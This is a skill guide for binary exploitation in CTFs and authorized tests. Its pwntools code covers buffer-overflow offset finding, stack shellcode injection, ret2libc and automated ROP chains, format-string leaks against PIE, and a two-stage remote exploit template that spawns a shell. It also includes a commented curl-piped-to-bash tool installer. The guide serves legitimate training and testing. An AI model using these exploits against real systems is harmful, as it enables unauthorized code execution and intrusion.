Anthropic-Cybersecurity-Skills/skills/performing-binary-exploitation-analysis/SKILL.md

---
name: performing-binary-exploitation-analysis
description: 'Analyze binary exploitation techniques including buffer overflows and ROP chains using pwntools Python library.
  Covers checksec analysis, gadget discovery with ROPgadget, and exploit development for CTF and authorized security assessments.

  '
domain: cybersecurity
subdomain: offensive-security
tags:
- binary-exploitation
- pwntools
- rop-chains
- buffer-overflow
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
---

# Performing Binary Exploitation Analysis

**For authorized security testing and CTF challenges only.**

Analyze ELF binaries for exploitation vectors using checksec, ROPgadget,
and pwntools for buffer overflow and ROP chain development.

## When to Use

- Analyzing ELF binaries during authorized penetration tests to identify memory corruption vulnerabilities
- Solving binary exploitation challenges in CTF competitions
- Evaluating the effectiveness of compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) on target binaries
- Developing proof-of-concept exploits for vulnerability reports to demonstrate impact
- Training security engineers in exploit development techniques for defensive awareness
- Validating that security patches for buffer overflow vulnerabilities are effective

**Do not use** against systems without explicit written authorization. Binary exploitation techniques can cause system instability and must only be applied in controlled environments (lab VMs, CTF platforms, authorized pentests with scope documents).

## Prerequisites

- Linux system (Ubuntu/Debian recommended) for exploit development
- Python 3.8+ with `pwntools` (`pip install pwntools`)
- GDB with `pwndbg` or `GEF` plugin for enhanced debugging
- `ROPgadget` for ROP chain gadget discovery (`pip install ROPgadget`)
- `checksec` (included with pwntools or standalone via `apt install checksec`)
- Target vulnerable binary compiled for testing (e.g., from pwnable.kr, ROP Emporium, or custom test binaries)
- Basic understanding of x86/x86_64 calling conventions and stack layout

## Workflow

### Step 1: Install the Exploitation Toolkit

```bash
# Install pwntools and dependencies
pip install pwntools ROPgadget

# Install GDB with pwndbg plugin
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh

# Alternatively, install GEF (GDB Enhanced Features)
# bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

# Install supporting tools
sudo apt install -y gdb nasm gcc-multilib libc6-dbg

# Verify installation
python3 -c "from pwn import *; print('pwntools version:', version)"
checksec --version
ROPgadget --version
```

### Step 2: Analyze Binary Protections with checksec

Before writing any exploit, enumerate the security mitigations compiled into the binary:

```python
from pwn import *

# Load the target binary
binary_path = "./vulnerable_server"
elf = ELF(binary_path)

# checksec output explains what mitigations are in place
print(f"Architecture: {elf.arch}")
print(f"Bits: {elf.bits}")
print(f"Endianness: {elf.endian}")
print()

# Key security properties
# RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT
# Stack Canary: Detects stack buffer overflows via random canary value
# NX (No-eXecute): Prevents executing code on the stack (DEP)
# PIE: Position Independent Executable, randomizes base address
# ASLR: OS-level address randomization (check /proc/sys/kernel/randomize_va_space)

# Also available via command line:
# checksec --file=./vulnerable_server
```

```bash
# Command-line checksec output example:
checksec --file=./vulnerable_server
# RELRO           STACK CANARY      NX            PIE
# Partial RELRO   No canary found   NX disabled   No PIE

# Check ASLR status on the system
cat /proc/sys/kernel/randomize_va_space
# 0 = disabled, 1 = conservative, 2 = full randomization
```

### Step 3: Find the Buffer Overflow Offset

Determine exactly how many bytes are needed to overwrite the return address:

```python
from pwn import *

context.binary = ELF("./vulnerable_server")
context.log_level = "info"

# Method 1: Use cyclic pattern to find exact offset
# Generate a unique cyclic pattern
pattern_length = 200
pattern = cyclic(pattern_length)
print(f"Generated cyclic pattern of length {pattern_length}")

# Send the pattern to the binary
p = process("./vulnerable_server")
p.sendline(pattern)
p.wait()

# After the crash, read the value in RIP/EIP from core dump or GDB
# Then find the offset:
# For 64-bit: crashed_value = p.corefile.fault_addr
# Or manually from GDB: "info registers rip" after crash
crashed_rip = 0x6161616c  # Example value from crash
offset = cyclic_find(crashed_rip)
print(f"Offset to return address: {offset} bytes")

# Method 2: Use GDB with pwndbg to find offset interactively
# In GDB:
#   pwndbg> cyclic 200
#   pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(200).decode())")
#   pwndbg> cyclic -l $rsp   (or cyclic -l <value in RIP>)
```

### Step 4: Exploit a Stack Buffer Overflow (NX Disabled)

When NX is disabled, inject and execute shellcode directly on the stack:

```python
from pwn import *

# Configuration
binary_path = "./vulnerable_server"
context.binary = ELF(binary_path)
context.arch = "amd64"  # or "i386" for 32-bit

OFFSET = 72  # Determined in Step 3

# Generate shellcode
# execve("/bin/sh", NULL, NULL) - spawn a shell
shellcode = asm(shellcraft.sh())
print(f"Shellcode length: {len(shellcode)} bytes")

# Build the exploit payload
# Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled]
nop_sled = asm("nop") * 32

# For a local exploit without ASLR, we can estimate the buffer address
# Run in GDB first to find the buffer address:
#   break *main+XX  (after read/gets call)
#   x/20x $rsp
buffer_addr = 0x7fffffffe000  # Example - get from GDB

padding_len = OFFSET - len(nop_sled) - len(shellcode)
payload = nop_sled + shellcode + b"A" * padding_len + p64(buffer_addr)

# Launch exploit
p = process(binary_path)
p.sendline(payload)
p.interactive()  # Interact with the spawned shell
```

### Step 5: Build a ROP Chain (NX Enabled)

When NX prevents stack code execution, chain existing code gadgets (Return-Oriented Programming):

```bash
# Find ROP gadgets in the binary
ROPgadget --binary ./vulnerable_server

# Find specific gadgets
ROPgadget --binary ./vulnerable_server --only "pop|ret"
ROPgadget --binary ./vulnerable_server --only "mov|ret"

# Search for gadgets to control registers for syscall
ROPgadget --binary ./vulnerable_server | grep "pop rdi"
ROPgadget --binary ./vulnerable_server | grep "pop rsi"
ROPgadget --binary ./vulnerable_server | grep "pop rdx"
ROPgadget --binary ./vulnerable_server | grep "syscall"

# Find gadgets in libc (for ret2libc attacks)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | head -20
```

```python
from pwn import *

binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf

OFFSET = 72

# Method 1: ret2libc - call system("/bin/sh") via libc
# When the binary is dynamically linked and we know libc version
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# Start process to leak libc address
p = process(binary_path)

# If there is a format string or info leak, use it to find libc base
# Example: binary prints puts@GOT address
p.recvuntil(b"puts address: ")
puts_leak = int(p.recvline().strip(), 16)
libc.address = puts_leak - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")

# Find a "pop rdi; ret" gadget for x86_64 calling convention
# First argument goes in RDI register
pop_rdi = elf.search(asm("pop rdi; ret")).__next__()
ret_gadget = elf.search(asm("ret")).__next__()  # Stack alignment

# Build the ROP chain: system("/bin/sh")
bin_sh_addr = next(libc.search(b"/bin/sh\x00"))
system_addr = libc.symbols["system"]

rop_chain = flat(
    b"A" * OFFSET,          # Padding to reach return address
    ret_gadget,              # Stack alignment (needed for movaps in system)
    pop_rdi,                 # pop rdi; ret - load /bin/sh address into RDI
    bin_sh_addr,             # Address of "/bin/sh" string in libc
    system_addr,             # Call system()
)

p.sendline(rop_chain)
p.interactive()
```

### Step 6: Use pwntools ROP Helper for Automated Chain Building

```python
from pwn import *

binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf

OFFSET = 72

# pwntools automatic ROP chain builder
rop = ROP(elf)

# If the binary has enough gadgets, pwntools can build chains automatically
# For execve("/bin/sh", 0, 0) syscall:
rop.call("puts", [elf.got["puts"]])  # Leak GOT entry
rop.call(elf.symbols["main"])        # Return to main for second stage

# Print the ROP chain for debugging
print(rop.dump())

# Build first-stage payload (leak libc)
stage1 = flat(
    b"A" * OFFSET,
    rop.chain()
)

p = process(binary_path)
p.sendline(stage1)

# Parse the leaked puts address
p.recvuntil(b"\n")  # Skip program output
leaked_puts = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success(f"Leaked puts@GOT: {hex(leaked_puts)}")

# Calculate libc base
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = leaked_puts - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")

# Build second-stage ROP chain using libc gadgets
rop2 = ROP(libc)
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])

stage2 = flat(
    b"A" * OFFSET,
    rop2.chain()
)

p.sendline(stage2)
p.interactive()
```

### Step 7: Debug Exploits with GDB and pwndbg

```python
from pwn import *

binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
context.terminal = ["tmux", "splitw", "-h"]  # or ["gnome-terminal", "--"]

# Launch binary under GDB with pwndbg
p = gdb.debug(binary_path, """
    # Set breakpoints at key locations
    break *main
    break *main+85

    # Continue to the vulnerable function
    continue
""")

# GDB commands useful during exploit development:
# pwndbg> vmmap              - Show memory mappings (find stack, heap, libc)
# pwndbg> checksec           - Show binary protections
# pwndbg> search -s "/bin/sh" - Find string in memory
# pwndbg> rop --grep "pop rdi" - Search for gadgets
# pwndbg> cyclic 200         - Generate cyclic pattern
# pwndbg> cyclic -l 0x616161 - Find offset from pattern value
# pwndbg> telescope $rsp 20  - Show stack contents
# pwndbg> x/20gx $rsp        - Examine stack as 64-bit values
# pwndbg> heap               - Analyze heap state
# pwndbg> got                 - Show GOT entries and resolved addresses
# pwndbg> plt                 - Show PLT entries

OFFSET = 72
payload = b"A" * OFFSET + p64(0xdeadbeef)
p.sendline(payload)
p.interactive()
```

### Step 8: Handle PIE and ASLR with Information Leaks

```python
from pwn import *

binary_path = "./vulnerable_pie_binary"
elf = ELF(binary_path)
context.binary = elf

# When PIE is enabled, we need to leak a code address to defeat randomization
# Common leak techniques:
# 1. Format string vulnerability: %p to leak stack/code pointers
# 2. Partial overwrite: overwrite only lower bytes of a pointer
# 3. Uninitialized memory: read stack memory containing code pointers

p = process(binary_path)

# Example: Using a format string leak to defeat PIE
# If the binary has a printf(user_input) vulnerability:
p.sendline(b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
leak_output = p.recvline().strip().decode()
leaked_addrs = leak_output.split(".")

# Parse leaked addresses to find a code pointer
for i, addr in enumerate(leaked_addrs):
    try:
        val = int(addr, 16)
        # PIE binaries typically load at 0x55XXXXXXXXXX on 64-bit
        if 0x550000000000 <= val <= 0x560000000000:
            log.info(f"Offset {i}: {addr} (likely PIE code address)")
        # libc addresses typically at 0x7fXXXXXXXXXX
        elif 0x7f0000000000 <= val <= 0x800000000000:
            log.info(f"Offset {i}: {addr} (likely libc address)")
    except ValueError:
        continue

# Once we have a leaked PIE address, calculate the binary base
leaked_code_addr = int(leaked_addrs[5], 16)  # Example offset
elf.address = leaked_code_addr - elf.symbols["main"]  # Adjust for known offset
log.success(f"PIE base: {hex(elf.address)}")

# Now we can use absolute addresses in our ROP chain
rop = ROP(elf)
# ... build chain using elf.symbols which are now correctly rebased
```

### Step 9: Exploit a Remote Target

```python
from pwn import *

# Configuration
REMOTE_HOST = "target.ctf.example.com"
REMOTE_PORT = 9001
binary_path = "./vulnerable_server"

elf = ELF(binary_path)
context.binary = elf

def exploit(target):
    """Run the full exploit chain against a target (local or remote)."""
    OFFSET = 72

    # Stage 1: Leak libc
    rop1 = ROP(elf)
    rop1.call("puts", [elf.got["puts"]])
    rop1.call(elf.symbols["main"])

    payload1 = flat(b"A" * OFFSET, rop1.chain())
    target.sendlineafter(b"Input: ", payload1)

    leaked = u64(target.recvline().strip().ljust(8, b"\x00"))
    log.success(f"Leaked puts: {hex(leaked)}")

    # Stage 2: ret2libc
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    libc.address = leaked - libc.symbols["puts"]

    rop2 = ROP(libc)
    rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])

    payload2 = flat(b"A" * OFFSET, rop2.chain())
    target.sendlineafter(b"Input: ", payload2)

    target.interactive()

# Test locally first
log.info("Testing exploit locally...")
local = process(binary_path)
exploit(local)

# Then run against remote target
# log.info("Running exploit against remote target...")
# remote = remote(REMOTE_HOST, REMOTE_PORT)
# exploit(remote)
```

## Verification

- Confirm `checksec` correctly identifies all binary mitigations (NX, canary, PIE, RELRO) and results match manual inspection
- Verify the cyclic pattern offset finder produces the correct offset by setting a breakpoint at the `ret` instruction and confirming RIP/EIP contains the expected cyclic value
- Test shellcode payloads execute correctly in a controlled environment with NX disabled
- Validate ROP chains by single-stepping through gadgets in GDB to confirm register values are set correctly before the final syscall/function call
- Confirm the exploit works both locally (`process()`) and against a remote target (`remote()`) when the correct libc version is used
- Verify that PIE bypass correctly rebases all addresses by checking GDB `vmmap` output against calculated addresses
- Test that the exploit fails gracefully when mitigations are re-enabled (confirms the exploit targets the correct weakness)
- Run `ROPgadget` output through a deduplication filter to confirm all referenced gadgets exist at the specified offsets in the target binary